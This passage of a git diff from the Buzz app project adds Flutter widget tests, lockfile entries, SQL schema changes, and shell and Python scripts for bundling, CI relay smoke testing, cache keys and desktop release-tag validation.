diff --git a/mobile/test/shared/widgets/keyboard_dismiss_on_drag_test.dart b/mobile/test/shared/widgets/keyboard_dismiss_on_drag_test.dart
index ae03f55c16..19424b7c82 100644
--- a/mobile/test/shared/widgets/keyboard_dismiss_on_drag_test.dart
+++ b/mobile/test/shared/widgets/keyboard_dismiss_on_drag_test.dart
@@ -4,7 +4,10 @@ import 'package:flutter_test/flutter_test.dart';
 
 /// A focused field inside a `Scaffold` body, which is the only arrangement
 /// either message list ever runs in.
-Widget _testable({required FocusNode focusNode}) {
+Widget _testable({
+  required FocusNode focusNode,
+  VoidCallback? onUserScrollStart,
+}) {
   return MaterialApp(
     home: Scaffold(
       body: Column(
@@ -12,6 +15,7 @@ Widget _testable({required FocusNode focusNode}) {
           TextField(focusNode: focusNode),
           Expanded(
             child: KeyboardDismissOnDrag(
+              onUserScrollStart: onUserScrollStart,
               child: ListView(
                 children: [
                   for (var i = 0; i < 40; i++)
@@ -104,6 +108,23 @@ void main() {
       expect(focusNode.hasFocus, isTrue);
     });
 
+    testWidgets('reports a user-started scroll', (tester) async {
+      final focusNode = FocusNode();
+      addTearDown(focusNode.dispose);
+      var userScrollStarts = 0;
+      await tester.pumpWidget(
+        _testable(
+          focusNode: focusNode,
+          onUserScrollStart: () => userScrollStarts += 1,
+        ),
+      );
+
+      await tester.drag(find.text('row 3'), const Offset(0, -100));
+      await tester.pumpAndSettle();
+
+      expect(userScrollStarts, 1);
+    });
+
     testWidgets('an upward drag never dismisses, however far it goes', (
       tester,
     ) async {
diff --git a/mobile/test/shared/widgets/mobile_tab_footer_backdrop_test.dart b/mobile/test/shared/widgets/mobile_tab_footer_backdrop_test.dart
index 9e54177d61..5d6882fddf 100644
--- a/mobile/test/shared/widgets/mobile_tab_footer_backdrop_test.dart
+++ b/mobile/test/shared/widgets/mobile_tab_footer_backdrop_test.dart
@@ -3,21 +3,41 @@ import 'package:flutter/material.dart';
 import 'package:flutter_test/flutter_test.dart';
 
 void main() {
-  testWidgets('uses the logical bottom safe-area inset', (tester) async {
-    double? height;
+  testWidgets('shared gradient fades from transparent to the page surface', (
+    tester,
+  ) async {
+    LinearGradient? gradient;
 
     await tester.pumpWidget(
-      MediaQuery(
-        data: const MediaQueryData(padding: EdgeInsets.only(bottom: 34)),
-        child: Builder(
+      MaterialApp(
+        home: Builder(
           builder: (context) {
-            height = mobileTabFooterBackdropHeight(context);
+            gradient = mobileTabFooterBackdropGradient(context);
             return const SizedBox();
           },
         ),
       ),
     );
 
-    expect(height, 170);
+    expect(gradient?.stops, [0, 0.18, 0.38, 0.6, 0.8, 1]);
+    expect(gradient?.colors.first.a, 0);
+    expect(gradient?.colors[1].a, closeTo(0.03, 0.01));
+    expect(gradient?.colors[3].a, closeTo(0.34, 0.01));
+    expect(gradient?.colors.last.a, 1);
+  });
+
+  testWidgets('uses a fixed 180px footer backdrop height', (tester) async {
+    double? height;
+
+    await tester.pumpWidget(
+      Builder(
+        builder: (context) {
+          height = mobileTabFooterBackdropHeight(context);
+          return const SizedBox();
+        },
+      ),
+    );
+
+    expect(height, 180);
   });
 }
diff --git a/mobile/test/shared/widgets/modal_presentation_test.dart b/mobile/test/shared/widgets/modal_presentation_test.dart
new file mode 100644
index 0000000000..068187b545
--- /dev/null
+++ b/mobile/test/shared/widgets/modal_presentation_test.dart
@@ -0,0 +1,226 @@
+import 'package:buzz/shared/widgets/concentric_sheet_surface.dart';
+import 'package:buzz/shared/theme/theme.dart';
+import 'package:buzz/shared/widgets/modal_presentation.dart';
+import 'package:flutter/foundation.dart';
+import 'package:flutter/material.dart';
+import 'package:flutter/services.dart';
+import 'package:flutter_test/flutter_test.dart';
+
+void main() {
+  testWidgets(
+    'keeps an opaque Flutter surface when iOS native support is unavailable',
+    (tester) async {
+      debugDefaultTargetPlatformOverride = TargetPlatform.iOS;
+      try {
+        await tester.pumpWidget(
+          MaterialApp(
+            theme: AppTheme.light(),
+            home: const ConcentricSheetSurface(
+              enabled: true,
+              color: Colors.red,
+              child: SizedBox(height: 80, child: Text('Sheet body')),
+            ),
+          ),
+        );
+        await tester.pumpAndSettle();
+
+        expect(
+          find.byWidgetPredicate(
+            (widget) => widget is Material && widget.color == Colors.red,
+          ),
+          findsOneWidget,
+        );
+      } finally {
+        debugDefaultTargetPlatformOverride = null;
+      }
+    },
+  );
+
+  testWidgets(
+    'replaces the Flutter fallback when native support is available',
+    (tester) async {
+      debugDefaultTargetPlatformOverride = TargetPlatform.iOS;
+      const surfaceChannel = MethodChannel('buzz/concentric_sheet_surface');
+      tester.binding.defaultBinaryMessenger.setMockMethodCallHandler(
+        surfaceChannel,
+        (call) async => call.method == 'isSupported' ? true : null,
+      );
+      try {
+        await tester.pumpWidget(
+          MaterialApp(
+            theme: AppTheme.light(),
+            home: const ConcentricSheetSurface(
+              enabled: true,
+              color: Colors.red,
+              child: SizedBox(height: 80, child: Text('Sheet body')),
+            ),
+          ),
+        );
+        await tester.pump();
+
+        expect(find.byType(UiKitView), findsOneWidget);
+        expect(
+          find.byWidgetPredicate(
+            (widget) => widget is Material && widget.color == Colors.red,
+          ),
+          findsNothing,
+        );
+      } finally {
+        tester.binding.defaultBinaryMessenger.setMockMethodCallHandler(
+          surfaceChannel,
+          null,
+        );
+        debugDefaultTargetPlatformOverride = null;
+      }
+    },
+  );
+
+  testWidgets(
+    'non-iOS sheets use Flutter drag handle and shared close control',
+    (tester) async {
+      debugDefaultTargetPlatformOverride = TargetPlatform.android;
+      try {
+        await tester.pumpWidget(
+          MaterialApp(
+            theme: AppTheme.light(),
+            home: Scaffold(
+              body: Builder(
+                builder: (context) => FilledButton(
+                  onPressed: () => showBuzzModalBottomSheet<void>(
+                    context: context,
+                    showDragHandle: true,
+                    builder: (_) => const Text('Sheet body'),
+                  ),
+                  child: const Text('Open sheet'),
+                ),
+              ),
+            ),
+          ),
+        );
+
+        await tester.tap(find.text('Open sheet'));
+        await tester.pumpAndSettle();
+
+        final closeButton = find.byTooltip('Close sheet');
+        expect(closeButton, findsOneWidget);
+        expect(tester.getSize(closeButton), const Size.square(44));
+        final closeGutter = find.ancestor(
+          of: closeButton,
+          matching: find.byWidgetPredicate(
+            (widget) =>
+                widget is Padding &&
+                widget.padding ==
+                    const EdgeInsets.only(
+                      top: Grid.xxs,
+                      left: Grid.gutter,
+                      right: Grid.gutter,
+                      bottom: Grid.xs,
+                    ),
+          ),
+        );
+        expect(closeGutter, findsOneWidget);
+        final gutterRect = tester.getRect(closeGutter);
+        final closeRect = tester.getRect(closeButton);
+        expect(closeRect.top - gutterRect.top, Grid.gutter);
+        expect(gutterRect.right - closeRect.right, Grid.gutter);
+        expect(
+          tester.widget<BottomSheet>(find.byType(BottomSheet)).showDragHandle,
+          isTrue,
+        );
+        expect(
+          find.byKey(const ValueKey('buzz-sheet-drag-handle')),
+          findsNothing,
+        );
+        expect(find.text('Sheet body'), findsOneWidget);
+
+        await tester.tap(closeButton);
+        await tester.pumpAndSettle();
+
+        expect(find.text('Sheet body'), findsNothing);
+      } finally {
+        debugDefaultTargetPlatformOverride = null;
+      }
+    },
+  );
+
+  testWidgets('iOS paints the drag handle inside the concentric surface', (
+    tester,
+  ) async {
+    debugDefaultTargetPlatformOverride = TargetPlatform.iOS;
+    try {
+      await tester.pumpWidget(
+        MaterialApp(
+          theme: AppTheme.light(),
+          home: Scaffold(
+            body: Builder(
+              builder: (context) => FilledButton(
+                onPressed: () => showBuzzModalBottomSheet<void>(
+                  context: context,
+                  showDragHandle: true,
+                  builder: (_) => const Text('Sheet body'),
+                ),
+                child: const Text('Open sheet'),
+              ),
+            ),
+          ),
+        ),
+      );
+
+      await tester.tap(find.text('Open sheet'));
+      await tester.pumpAndSettle();
+
+      expect(
+        tester.widget<BottomSheet>(find.byType(BottomSheet)).showDragHandle,
+        isFalse,
+      );
+      final internalHandle = find.byKey(
+        const ValueKey('buzz-sheet-drag-handle'),
+      );
+      expect(internalHandle, findsOneWidget);
+      expect(tester.getSize(internalHandle), const Size(32, 4));
+      expect(find.bySemanticsLabel('Drag handle'), findsOneWidget);
+      expect(find.byTooltip('Close sheet'), findsOneWidget);
+      expect(find.text('Sheet body'), findsOneWidget);
+    } finally {
+      debugDefaultTargetPlatformOverride = null;
+    }
+  });
+
+  testWidgets('iOS compact sheets can omit X but retain the inside handle', (
+    tester,
+  ) async {
+    debugDefaultTargetPlatformOverride = TargetPlatform.iOS;
+    try {
+      await tester.pumpWidget(
+        MaterialApp(
+          theme: AppTheme.light(),
+          home: Scaffold(
+            body: Builder(
+              builder: (context) => FilledButton(
+                onPressed: () => showBuzzModalBottomSheet<void>(
+                  context: context,
+                  showDragHandle: true,
+                  showCloseButton: false,
+                  builder: (_) => const Text('Compact sheet body'),
+                ),
+                child: const Text('Open compact sheet'),
+              ),
+            ),
+          ),
+        ),
+      );
+
+      await tester.tap(find.text('Open compact sheet'));
+      await tester.pumpAndSettle();
+
+      expect(
+        find.byKey(const ValueKey('buzz-sheet-drag-handle')),
+        findsOneWidget,
+      );
+      expect(find.byTooltip('Close sheet'), findsNothing);
+      expect(find.text('Compact sheet body'), findsOneWidget);
+    } finally {
+      debugDefaultTargetPlatformOverride = null;
+    }
+  });
+}
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 9ed8280c28..746aab05e6 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -84,6 +84,9 @@ importers:
       '@fontsource-variable/inter':
         specifier: ^5.2.8
         version: 5.2.8
+      '@fontsource/jetbrains-mono':
+        specifier: ^5.3.0
+        version: 5.3.0
       '@mediapipe/tasks-vision':
         specifier: ^0.10.35
         version: 0.10.35
@@ -259,6 +262,9 @@ importers:
       '@tauri-apps/cli':
         specifier: ~2.11
         version: 2.11.2
+      '@testing-library/react':
+        specifier: ^16.3.2
+        version: 16.3.2(@testing-library/dom@10.4.1)(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
       '@types/react':
         specifier: ^19.1.8
         version: 19.2.17
@@ -268,6 +274,9 @@ importers:
       '@vitejs/plugin-react':
         specifier: ^6.0.0
         version: 6.0.3(vite@8.0.16(@types/node@25.6.0)(jiti@2.7.0)(yaml@2.9.0))
+      jsdom:
+        specifier: ^27.4.0
+        version: 27.4.0(@noble/hashes@2.2.0)
       nostr-tools:
         specifier: ^2.23.3
         version: 2.23.12(typescript@6.0.3)
@@ -660,6 +669,9 @@ packages:
   '@fontsource-variable/inter@5.2.8':
     resolution: {integrity: sha512-kOfP2D+ykbcX/P3IFnokOhVRNoTozo5/JxhAIVYLpea/UBmCQ/YWPBfWIDuBImXX/15KH+eKh4xpEUyS2sQQGQ==}
 
+  '@fontsource/jetbrains-mono@5.3.0':
+    resolution: {integrity: sha512-fqDfB5I9f1p1TV486aUgB9t8zP84P0O1FtQR5Ol9vjwPy+S+EIGlVYm1cvj2W5shcZMTg2nZFdVMoH5wFu8a1A==}
+
   '@isomorphic-git/idb-keyval@3.3.2':
     resolution: {integrity: sha512-r8/AdpiS0/WJCNR/t/gsgL+M8NMVj/ek7s60uz3LmpCaTF2mEVlZJlB01ZzalgYzRLXwSPC92o+pdzjM7PN/pA==}
 
@@ -3988,6 +4000,8 @@ snapshots:
 
   '@fontsource-variable/inter@5.2.8': {}
 
+  '@fontsource/jetbrains-mono@5.3.0': {}
+
   '@isomorphic-git/idb-keyval@3.3.2': {}
 
   '@isomorphic-git/lightning-fs@4.6.2':
diff --git a/schema/schema.sql b/schema/schema.sql
index 5980695d32..4dac29176d 100644
--- a/schema/schema.sql
+++ b/schema/schema.sql
@@ -54,6 +54,9 @@ CREATE TABLE communities (
     id              UUID PRIMARY KEY DEFAULT gen_random_uuid(),
     host            VARCHAR(255) NOT NULL,
     signing_key     BYTEA,
+    -- Per-community workspace icon (NIP-11 `icon`), set via kind:9033.
+    -- Added by migration 0003; kept here so desired-state applies match.
+    icon            TEXT,
     created_at      TIMESTAMPTZ NOT NULL DEFAULT NOW(),
     archived_at     TIMESTAMPTZ,
     CONSTRAINT chk_communities_id_not_nil CHECK (id <> '00000000-0000-0000-0000-000000000000'::uuid)
@@ -109,6 +112,12 @@ CREATE INDEX idx_channels_community_visibility ON channels (community_id, visibi
 CREATE INDEX idx_channels_created_by ON channels (community_id, created_by);
 CREATE INDEX idx_channels_ttl_expiry ON channels (ttl_deadline)
     WHERE ttl_seconds IS NOT NULL AND archived_at IS NULL AND deleted_at IS NULL;
+-- Tenant-independent channel-id → community lookups (Db::communities_of_channels,
+-- Db::community_of_channel) carry no community_id predicate, so no
+-- community_id-leading index can serve them. Covering + partial: index-only scan.
+-- Not UNIQUE — the same channel id may exist under more than one community.
+CREATE INDEX idx_channels_id_live ON channels (id) INCLUDE (community_id)
+    WHERE deleted_at IS NULL;
 
 -- channels.community_id is immutable: a channel can never be re-tenanted.
 -- (Conformance: "Migration lint forbids channel re-tenanting except through an
@@ -530,7 +539,7 @@ CREATE TABLE reactions (
     event_created_at    TIMESTAMPTZ NOT NULL,
     event_id            BYTEA NOT NULL,
     pubkey              BYTEA NOT NULL,
-    emoji               VARCHAR(64) NOT NULL,
+    emoji               VARCHAR(66) NOT NULL,
     created_at          TIMESTAMPTZ NOT NULL DEFAULT NOW(),
     removed_at          TIMESTAMPTZ,
     reaction_event_id   BYTEA,
diff --git a/scripts/bundle-sidecars.sh b/scripts/bundle-sidecars.sh
index 07de477405..8ea5fe2bbe 100755
--- a/scripts/bundle-sidecars.sh
+++ b/scripts/bundle-sidecars.sh
@@ -4,6 +4,12 @@ set -euo pipefail
 SIDECARS=(buzz-acp buzz-agent buzz-dev-mcp git-credential-nostr buzz)
 HOST=$(rustc -vV | sed -n 's|host: ||p')
 TARGET=${1:-$HOST}
+if [[ "$TARGET" != *windows* ]]; then
+    SIDECARS+=(buzz-backend-kubernetes)
+    BUILD_HINT="cargo build --release -p buzz-acp -p buzz-agent -p buzz-backend-kubernetes -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli"
+else
+    BUILD_HINT="cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli"
+fi
 BINARIES_DIR="desktop/src-tauri/binaries"
 
 # When --target is passed explicitly to cargo (even if it matches the host),
@@ -29,7 +35,7 @@ for bin in "${SIDECARS[@]}"; do
 done
 if [[ ${#missing[@]} -gt 0 ]]; then
     echo "Error: missing release binaries in $SRC_DIR: ${missing[*]}" >&2
-    echo "Run 'cargo build --release -p buzz-acp -p buzz-agent -p buzz-dev-mcp -p git-credential-nostr -p buzz-cli' first." >&2
+    echo "Run '$BUILD_HINT' first." >&2
     exit 1
 fi
 
diff --git a/scripts/ci-mesh-lifecycle-smoke.sh b/scripts/ci-mesh-lifecycle-smoke.sh
new file mode 100755
index 0000000000..887e2b15a6
--- /dev/null
+++ b/scripts/ci-mesh-lifecycle-smoke.sh
@@ -0,0 +1,113 @@
+#!/usr/bin/env bash
+# =============================================================================
+# ci-mesh-lifecycle-smoke.sh — relay-driven mesh lifecycle smoke
+# =============================================================================
+# Provisions a membership-gated buzz-relay and runs the full relay-driven
+# mesh lifecycle harness (crates/buzz-relay/examples/mesh_relay_lifecycle_smoke.rs):
+# membership → signed discovery notes → relay-derived allowlist → join →
+# inference over QUIC → stranger denied.
+#
+# Mirrors the shape of mesh-llm's own CI smoke scripts (single runner, tiny
+# CPU model, real multi-process mesh), but with the Buzz relay as the control
+# plane instead of a hand-carried invite token.
+#
+# Usage:
+#   ./scripts/ci-mesh-lifecycle-smoke.sh [--profile <cargo-profile>] [--no-build]
+#
+# Env:
+#   MESH_SMOKE_MODEL   Override the served model ref (default: SmolLM2-135M).
+# =============================================================================
+set -euo pipefail
+
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${SCRIPT_DIR}/.." && pwd)"
+cd "${REPO_ROOT}"
+
+CARGO_PROFILE="${CARGO_PROFILE:-ci}"
+SKIP_BUILD=false
+while [[ $# -gt 0 ]]; do
+  case "$1" in
+    --profile) CARGO_PROFILE="$2"; shift 2 ;;
+    --no-build) SKIP_BUILD=true; shift ;;
+    *) echo "Unknown option: $1" >&2; exit 1 ;;
+  esac
+done
+
+BLUE='\033[0;34m'
+GREEN='\033[0;32m'
+RED='\033[0;31m'
+NC='\033[0m'
+log() { echo -e "${BLUE}[mesh-lifecycle]${NC} $*"; }
+ok()  { echo -e "${GREEN}[mesh-lifecycle]${NC} $*"; }
+err() { echo -e "${RED}[mesh-lifecycle]${NC} $*" >&2; }
+
+# ── Build ─────────────────────────────────────────────────────────────────────
+
+if [[ "${SKIP_BUILD}" == "true" ]]; then
+  log "Skipping build (--no-build)"
+else
+  log "Building relay, admin CLI, and lifecycle harness (profile: ${CARGO_PROFILE})..."
+  cargo build --profile "${CARGO_PROFILE}" -p buzz-relay -p buzz-admin -p git-credential-nostr
+  cargo build --profile "${CARGO_PROFILE}" -p buzz-relay --example mesh_relay_lifecycle_smoke
+fi
+
+ADMIN_BIN="target/${CARGO_PROFILE}/buzz-admin"
+HARNESS_BIN="target/${CARGO_PROFILE}/examples/mesh_relay_lifecycle_smoke"
+for bin in "${ADMIN_BIN}" "${HARNESS_BIN}" "target/${CARGO_PROFILE}/buzz-relay"; do
+  if [[ ! -x "${bin}" ]]; then
+    err "Missing binary: ${bin}"
+    exit 1
+  fi
+done
+
+# ── Relay identity + membership gating ───────────────────────────────────────
+# The relay owner and signing key are throwaway CI identities. RELAY_OWNER
+# never participates in the mesh; it only satisfies the NIP-43 requirement
+# that a membership-gated relay has an administrable owner.
+
+log "Generating relay owner + signing identities..."
+read_keys() { "${ADMIN_BIN}" generate-key 2>/dev/null; }
+OWNER_OUT="$(read_keys)"
+RELAY_OWNER_PUBKEY="$(echo "${OWNER_OUT}" | awk '/Public key:/ {print $3}')"
+SIGNER_OUT="$(read_keys)"
+BUZZ_RELAY_PRIVATE_KEY="$(echo "${SIGNER_OUT}" | awk '/Secret key:/ {print $3}')"
+if [[ -z "${RELAY_OWNER_PUBKEY}" || -z "${BUZZ_RELAY_PRIVATE_KEY}" ]]; then
+  err "Failed to generate relay identities via buzz-admin generate-key"
+  exit 1
+fi
+export BUZZ_REQUIRE_RELAY_MEMBERSHIP=true
+export RELAY_OWNER_PUBKEY
+export BUZZ_RELAY_PRIVATE_KEY
+
+# ── Start the membership-gated relay ─────────────────────────────────────────
+# A stale relay on :3000 would pass the readiness poll while silently running
+# WITHOUT membership gating — the stranger-denied assertion would then fail
+# (or worse, an open relay would mask a real gating regression). Fail fast.
+if lsof -nP -iTCP:3000 -sTCP:LISTEN >/dev/null 2>&1; then
+  err "Port 3000 is already in use — stop the existing relay first (its config would not be membership-gated)"
+  exit 1
+fi
+
+log "Starting membership-gated relay..."
+CARGO_PROFILE="${CARGO_PROFILE}" ./scripts/start-relay-for-tests.sh --no-build
+
+cleanup() {
+  log "Stopping relay..."
+  if [[ -f /tmp/buzz-relay.pid ]]; then
+    kill "$(cat /tmp/buzz-relay.pid)" 2>/dev/null || true
+  fi
+  # The harness kills its own children; sweep any stragglers from a hard fail.
+  pkill -f mesh_relay_lifecycle_smoke 2>/dev/null || true
+}
+trap cleanup EXIT
+
+# ── Run the lifecycle harness ────────────────────────────────────────────────
+
+log "Running relay-driven mesh lifecycle smoke..."
+RELAY_URL=ws://localhost:3000 \
+DATABASE_URL=postgres://buzz:buzz_dev@localhost:5432/buzz \
+REDIS_URL=redis://localhost:6379 \
+BUZZ_ADMIN_BIN="${ADMIN_BIN}" \
+  "${HARNESS_BIN}"
+
+ok "Relay-driven mesh lifecycle smoke passed"
diff --git a/scripts/desktop-native-toolchain-id.sh b/scripts/desktop-native-toolchain-id.sh
new file mode 100755
index 0000000000..b3c5f8bb75
--- /dev/null
+++ b/scripts/desktop-native-toolchain-id.sh
@@ -0,0 +1,34 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+platform=${1:?usage: desktop-native-toolchain-id.sh <macos|linux|windows>}
+case "$platform" in
+  macos)
+    {
+      sw_vers
+      xcodebuild -version
+      xcrun --sdk macosx --show-sdk-path
+      xcrun --sdk macosx --show-sdk-version
+      xcrun clang --version
+    } ;;
+  linux)
+    {
+      cat /etc/os-release
+      dpkg-query -W -f='${Package}=${Version}\n' \
+        build-essential libasound2-dev libayatana-appindicator3-dev \
+        libgtk-3-dev librsvg2-dev libssl-dev libwebkit2gtk-4.1-dev \
+        libxdo-dev patchelf pkg-config
+      gcc -dumpfullversion -dumpversion
+      gcc -dumpmachine
+      ld --version
+    } ;;
+  windows)
+    {
+      cmd.exe //c ver
+      powershell.exe -NoProfile -Command '$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"; & $vswhere -latest -products * -property installationVersion; Get-ChildItem "${env:ProgramFiles}\Microsoft Visual Studio\2022" -Directory -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Name; Get-ChildItem "${env:ProgramFiles(x86)}\Windows Kits\10\Include" -Directory | Select-Object -ExpandProperty Name; Get-ChildItem "${env:ProgramFiles}\Microsoft Visual Studio\2022\*\VC\Tools\MSVC" -Directory | Select-Object -ExpandProperty Name'
+      cmake --version
+    } ;;
+  *)
+    echo "unsupported native toolchain platform: $platform" >&2
+    exit 1 ;;
+esac | tr -d '\r' | python3 -c 'import hashlib, sys; print(hashlib.sha256(sys.stdin.buffer.read()).hexdigest())'
diff --git a/scripts/desktop-release-cache-key.py b/scripts/desktop-release-cache-key.py
new file mode 100755
index 0000000000..736b3fcfa9
--- /dev/null
+++ b/scripts/desktop-release-cache-key.py
@@ -0,0 +1,85 @@
+#!/usr/bin/env python3
+"""Compute an exact, version-agnostic Cargo release cache key."""
+
+from __future__ import annotations
+
+import argparse
+import hashlib
+import pathlib
+import re
+import subprocess
+import sys
+
+ROOT = pathlib.Path(__file__).resolve().parents[1]
+DESKTOP_MANIFEST = pathlib.Path("desktop/src-tauri/Cargo.toml")
+DESKTOP_LOCK = pathlib.Path("desktop/src-tauri/Cargo.lock")
+
+
+def normalized(path: pathlib.Path, data: bytes) -> bytes:
+    text = data.decode()
+    if path == DESKTOP_MANIFEST:
+        text, count = re.subn(
+            r'(?ms)(^\[package\].*?^version\s*=\s*)"[^"]+"',
+            r'\1"<desktop-version>"',
+            text,
+            count=1,
+        )
+        if count != 1:
+            raise ValueError(f"could not normalize package version in {path}")
+    elif path == DESKTOP_LOCK:
+        text, count = re.subn(
+            r'(?ms)(^name = "buzz-desktop"\nversion = )"[^"]+"',
+            r'\1"<desktop-version>"',
+            text,
+            count=1,
+        )
+        if count != 1:
+            raise ValueError(f"could not normalize package version in {path}")
+    return text.encode()
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--platform", required=True)
+    parser.add_argument("--target", required=True)
+    parser.add_argument("--features", default="default")
+    parser.add_argument("--native-inputs", required=True)
+    args = parser.parse_args()
+
+    manifest_output = subprocess.check_output(
+        ["git", "ls-files", "*Cargo.toml"], cwd=ROOT, text=True
+    )
+    paths = [ROOT / path for path in manifest_output.splitlines()]
+    paths += [ROOT / "Cargo.lock", ROOT / DESKTOP_LOCK, ROOT / "rust-toolchain.toml"]
+    cargo_config = ROOT / ".cargo/config.toml"
+    if cargo_config.exists():
+        paths.append(cargo_config)
+
+    digest = hashlib.sha256()
+    descriptors = {
+        "schema": "desktop-rust-release-v1",
+        "platform": args.platform,
+        "target": args.target,
+        "profile": "release",
+        "features": args.features,
+        "native-inputs": args.native_inputs,
+        "rustc": subprocess.check_output(["rustc", "-Vv"], text=True).strip(),
+    }
+    for name, value in sorted(descriptors.items()):
+        digest.update(f"{name}\0{value}\0".encode())
+
+    for absolute in sorted(set(paths)):
+        relative = absolute.relative_to(ROOT)
+        digest.update(str(relative).encode() + b"\0")
+        digest.update(normalized(relative, absolute.read_bytes()) + b"\0")
+
+    print(f"desktop-rust-release-v1-{args.platform}-{args.target}-{digest.hexdigest()}")
+    return 0
+
+
+if __name__ == "__main__":
+    try:
+        raise SystemExit(main())
+    except (OSError, ValueError, subprocess.CalledProcessError) as error:
+        print(f"error: {error}", file=sys.stderr)
+        raise SystemExit(1)
diff --git a/scripts/desktop_release.py b/scripts/desktop_release.py
index d6518b26b1..ce9ceaab93 100755
--- a/scripts/desktop_release.py
+++ b/scripts/desktop_release.py
@@ -5,15 +5,17 @@
 
 import argparse
 import json
+import os
 import re
 import subprocess
 import sys
 from pathlib import Path
 
-ROOT = Path(__file__).resolve().parent.parent
+ROOT = Path(os.environ.get("DESKTOP_RELEASE_ROOT", Path(__file__).resolve().parent.parent))
 CHANGELOG = ROOT / "CHANGELOG.md"
 METADATA = ROOT / ".release" / "desktop-candidate.json"
 SEMVER = re.compile(r"^[0-9]+\.[0-9]+\.[0-9]+(?:-[0-9A-Za-z.-]+)?$")
+STABLE_TAG = re.compile(r"desktop-v([0-9]+)\.([0-9]+)\.([0-9]+)$")
 DESKTOP_PATHS = (
     "desktop/",
     "crates/buzz-core/",
@@ -54,30 +56,94 @@ def commit_list(range_spec: str, paths: tuple[str, ...] | None = None) -> list[d
     return [dict(zip(("sha", "subject"), line.split("\0", 1))) for line in out.splitlines()]
 
 
-def stable_tags(base_sha: str) -> list[tuple[int, str, str]]:
-    tags: list[tuple[int, str, str]] = []
-    for tag in git("tag", "--merged", base_sha, "--list").splitlines():
-        if not re.fullmatch(r"(?:desktop-)?v[0-9]+\.[0-9]+\.[0-9]+", tag):
+def gh_json(endpoint: str) -> object:
+    try:
+        return json.loads(subprocess.check_output(
+            ["gh", "api", endpoint], cwd=ROOT, text=True
+        ))
+    except (subprocess.CalledProcessError, json.JSONDecodeError) as error:
+        raise SystemExit(f"cannot verify prior desktop release via GitHub: {error}") from error
+
+
+def stable_tags() -> list[tuple[tuple[int, int, int], str, str]]:
+    tags: list[tuple[tuple[int, int, int], str, str]] = []
+    aliases: dict[tuple[int, int, int], list[tuple[str, str]]] = {}
+    for tag in git("tag", "--list", "desktop-v*").splitlines():
+        match = STABLE_TAG.fullmatch(tag)
+        if not match:
             continue
+        version = tuple(map(int, match.groups()))
         sha = git("rev-list", "-n", "1", tag)
-        distance = int(git("rev-list", "--count", f"{sha}..{base_sha}"))
-        tags.append((distance, tag, sha))
+        aliases.setdefault(version, []).append((tag, sha))
+    for version, refs in aliases.items():
+        if len(refs) != 1:
+            detail = ", ".join(f"{tag}@{sha}" for tag, sha in refs)
+            raise SystemExit(f"ambiguous desktop release version {version}: {detail}")
+        tag, sha = refs[0]
+        tags.append((version, tag, sha))
     return tags
 
 
-def previous_tag(base_sha: str) -> str:
-    tags = stable_tags(base_sha)
-    if not tags:
-        return ""
-    min_distance = min(item[0] for item in tags)
-    nearest = [item for item in tags if item[0] == min_distance]
-    commits = {item[2] for item in nearest}
-    if len(commits) != 1:
-        detail = ", ".join(f"{tag}@{sha}" for _, tag, sha in nearest)
-        raise SystemExit(f"ambiguous previous desktop release tags: {detail}")
-    # During migration, prefer the namespaced tag when aliases share a commit.
-    nearest.sort(key=lambda item: (not item[1].startswith("desktop-v"), item[1]))
-    return nearest[0][1]
+def previous_release(
+    version: str, repo: str, *, allow_target_sha: str | None = None
+) -> dict[str, str] | None:
+    target = tuple(map(int, version.split("-", 1)[0].split(".")))
+    target_tag = f"desktop-v{version}"
+    target_refs = git("tag", "--list", target_tag).splitlines()
+    target_ref = (
+        (target_tag, git("rev-list", "-n", "1", target_tag))
+        if target_refs
+        else None
+    )
+    target_collision = target_ref is not None and (
+        allow_target_sha is None or target_ref[1] != allow_target_sha
+    )
+    tags = stable_tags()
+    newer = [item for item in tags if item[0] > target]
+    equal = [item for item in tags if item[0] == target]
+    allowed_stable_retry = (
+        "-" not in version
+        and len(equal) == 1
+        and allow_target_sha is not None
+        and equal[0][1] == target_tag
+        and equal[0][2] == allow_target_sha
+    )
+    if target_collision or newer or (equal and not allowed_stable_retry):
+        blocked = [item[1] for item in newer + equal]
+        if target_collision and target_tag not in blocked:
+            blocked.append(target_tag)
+        detail = ", ".join(blocked)
+        raise SystemExit(f"desktop release version must increase beyond existing tags: {detail}")
+    eligible = [item for item in tags if item[0] < target]
+    if not eligible:
+        return None
+    prior_version, tag, candidate_sha = max(eligible)
+    try:
+        metadata = json.loads(git("show", f"{tag}:.release/desktop-candidate.json"))
+    except (subprocess.CalledProcessError, json.JSONDecodeError) as error:
+        raise SystemExit(f"prior release {tag} has invalid candidate metadata") from error
+    expected = {
+        "version": ".".join(map(str, prior_version)),
+        "tag": tag,
+    }
+    if any(metadata.get(key) != value for key, value in expected.items()):
+        raise SystemExit(f"prior release {tag} metadata does not match its tag")
+    base_sha = metadata.get("base_sha")
+    if not isinstance(base_sha, str) or not re.fullmatch(r"[0-9a-f]{40}", base_sha):
+        raise SystemExit(f"prior release {tag} has invalid base_sha")
+    pulls = gh_json(f"repos/{repo}/commits/{candidate_sha}/pulls")
+    matches = [pr for pr in pulls if pr.get("merged_at") and (
+        pr.get("head", {}).get("sha") == candidate_sha
+        or pr.get("merge_commit_sha") == candidate_sha
+    )]
+    if len(matches) != 1 or not matches[0].get("merge_commit_sha"):
+        raise SystemExit(f"prior release {tag} does not identify exactly one merged release PR")
+    return {
+        "tag": tag,
+        "candidate_sha": candidate_sha,
+        "base_sha": base_sha,
+        "merge_sha": matches[0]["merge_commit_sha"],
+    }
 
 
 def bullet(commit: dict[str, str], repo: str) -> str:
@@ -91,24 +157,27 @@ def bullet(commit: dict[str, str], repo: str) -> str:
     return f"- {subject} ([`{sha}`](https://github.com/{repo}/commit/{sha}))"
 
 
-def expected(base_sha: str, previous: str) -> tuple[list[dict[str, str]], list[dict[str, str]]]:
